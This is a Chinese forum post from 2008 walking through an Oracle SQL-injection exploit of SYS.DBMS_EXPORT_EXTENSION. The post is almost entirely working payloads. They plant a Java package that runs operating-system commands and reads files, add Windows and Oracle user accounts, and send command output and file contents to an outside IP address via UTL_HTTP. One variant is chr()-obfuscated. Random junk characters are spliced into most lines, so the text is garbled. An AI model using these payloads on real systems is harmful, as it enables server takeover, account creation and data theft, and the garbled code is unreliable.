以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
3 \' u O$ N% O6 G' v# [- l; O8 h
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) % L2 M' L* W& b
的形式即可。(用" 'a'|| "是为了让语句返回true值)
1 w% @' P- w" @7 d$ {5 B) W语句有点长,可能要用post提交。
: m% x, h* ~2 W以下是各个步骤:
/ v4 c \9 H: x: L6 G1.创建包
3 u; L" M. ]9 q1 E通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
- L7 Q- r1 Z+ D1 }; Q" b/xxx.jsp?id=1 and '1'<>'a'||(
5 x9 y7 n1 E+ G* N: y6 i2 X" i. Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 x3 p7 b4 p) n! f9 ocreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
% i4 T; X9 ~1 h j! l Lnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}2 S+ E2 w4 O& v" k
}'''';END;'';END;--','SYS',0,'1',0) from dual . n \- a( K; n3 D# j
) 4 }, \+ \- [8 m( z/ m! t
------------------------
; D, b# x5 l# p如果url有长度限制,可以把readFile()函数块去掉,即:
E# z& u: k! ]/xxx.jsp?id=1 and '1'<>'a'||( {( R1 `+ K! H
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 I3 B1 |8 @2 x% k; t( N7 x
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
0 p. n2 s4 q5 ^; w; S; W3 nnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
5 w2 L$ F+ H2 M+ E}'''';END;'';END;--','SYS',0,'1',0) from dual
! m2 i) v/ R2 h) 9 ~, s5 J. s. y) g* Z1 H; V
同时把后面步骤 提到的 对readFile()的处理语句去掉。 0 T) ]7 i; w, E! T5 A% V* N
------------------------------
* n+ n- U. e, l( w$ |2.赋Java权限
5 @+ c8 c V! [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual7 y1 u9 ^0 S$ i6 h+ B
3.创建函数 ; y0 z4 ~; O* N& C, Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& b0 }* T) _* V; F0 u! x- acreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual/ H9 J6 X6 e* `( A* u" x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''3 b; |2 G9 ] E1 E' [# p
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual; C* r% d, `6 t D. E6 M
4.赋public执行函数的权限 2 M2 R( H+ g# A* M6 @
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
[( k3 y) A" X/ R) \. tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual" B8 @" M: t! c' _! S/ ^
5.测试上面的几步是否成功 " A2 h ?* S. W7 ]7 \1 {7 w0 ]
and '1'<>'11'||(
" c2 E/ f9 x- `: Z7 K0 G9 dselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD' L) U" L6 n, m* y$ _- [' C
) ; u" @6 t/ E% Q$ t! q
and '1'<>(
8 y& K1 D4 f2 e `9 Q e& M; F4 wselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
9 B$ {' F( `9 `0 z! I' R w) 3 u4 L9 y8 m- y. a3 c5 I
6.执行命令: ! _5 u( I% B$ w0 N; U
/xxx.jsp?id=1 and '1'<>( $ t- e" }" G4 ]. K7 q1 x* B: Q( q
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
5 G* S- A$ _, f' h; B! J7 I) `( b; X; X- T* r
) 7 v5 k/ w, l8 ]) O9 L! @
/xxx.jsp?id=1 and '1'<>( + Z; \+ Z& E0 y7 Y( j. C& p( G( x) F9 k
select sys.LinxReadFile('c:/boot.ini') from dual! a3 A P4 s+ R9 {$ Y
U5 G, D3 ~) f3 z5 H
)
9 p8 W1 X" A$ h& ~2 x4 r, C4 @ & f# O6 r/ ^' J3 w4 q, y. I2 u. d
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 % n7 ?: X. ]5 s& b( c3 m
如果要查看运行结果可以用 union :
N7 r T0 h3 I5 B* g/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
0 E1 _$ u6 r9 J/ A( `& i$ B或者UTL_HTTP.request(: 3 q; y/ J7 i/ F1 d% d1 z( \
/xxx.jsp?id=1 and '1'<>( 4 K! \ j- M8 _; G, k
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual7 `; i2 X! L8 g# Z) G0 q, ~
) 7 i" B8 p3 ]' b! K- W
/xxx.jsp?id=1 and '1'<>(
9 S: V) w4 E6 O4 Z$ G& n7 vSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual4 L/ \% V, L0 a8 J9 b+ [
)
2 ^7 Z7 R. z( m" k注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
+ Q( @7 J$ S5 J5 A/ }/ d--------------------
- e. M" ?7 D6 g2 v. l, b- B6.内部变化
) w2 J% b# X! W8 F通过以下命令可以查看all_objects表达改变: : G# E$ T# T5 c- }
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%', T; E$ |0 k) m
7.删除我们创建的函数 ! f8 F* a; h4 P/ U! d6 R1 y: y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': ^# b( u2 R; |, {& i
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
2 L/ W9 \0 j, p! b' b==================================================== : V: H7 U3 V3 n) y
全文结束。谨以此文赠与我的朋友。
9 N" M. i/ i3 l `, _5 _linx
8 j, j$ Q. b6 O124829445 4 @& ~' k) j: @. Q. J
2008.1.12 5 C, U% R/ M9 w- H! Z, E
linyujian@bjfu.edu.cn
1 R! a( h g- Z" R2 S# Z======================================================================
) \ U! m* S+ ?测试漏洞的另一方法: 9 _& v/ a, Z1 l# V' Y- V
创建oracle帐号: & D: L* ^$ [9 P, [2 d# M7 s
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 O" d" H# P; L- g0 b$ fCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual& v7 a' z# {5 Q
即: # e3 a5 m! `0 g5 |2 O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
/ U- D9 T+ O; n p" K2 zchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
+ R9 X4 Y) ?* G1 `% _- J0 ^" T确定漏洞存在: 8 G$ a: k; T4 n) Y2 R
1<>( 2 M# _- s o/ T
select user_id from all_users where username='LINXSQL'
7 k( _/ w- i& J' J7 P& y; V) " r9 o- w& C/ m5 w
给linxsql连接权限: ! t/ i8 K- x- m" C
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. D' S" s1 _, z* l/ |GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
: V: V" W' k* U5 ?) _0 O, d删除帐号:
) V# Y7 H2 g( _5 F" l+ Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& T" X- P5 S# _: G7 `
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual 7 ~0 R, Z. z+ f3 t$ ]$ N6 y4 Y9 M" K
====================== O% c) G( [' A0 [
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
$ ~0 j: q6 A# a" ~9 D1.jsp?id=1 and '1'<>(
! A' T' }% k" f! cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 U D1 }: ^. Y, s$ n: Bcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
$ P( f I6 e8 a6 l) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
, J8 y; ~- V: Y" X )
1 `0 K( s# @4 _" f8 z$ F. [! |) D* |& V& |+ f+ o9 R4 }
0 a$ k( x6 M+ {6 q1 {' m) ^4 Q F- N7 o3 u& u5 v9 Z
|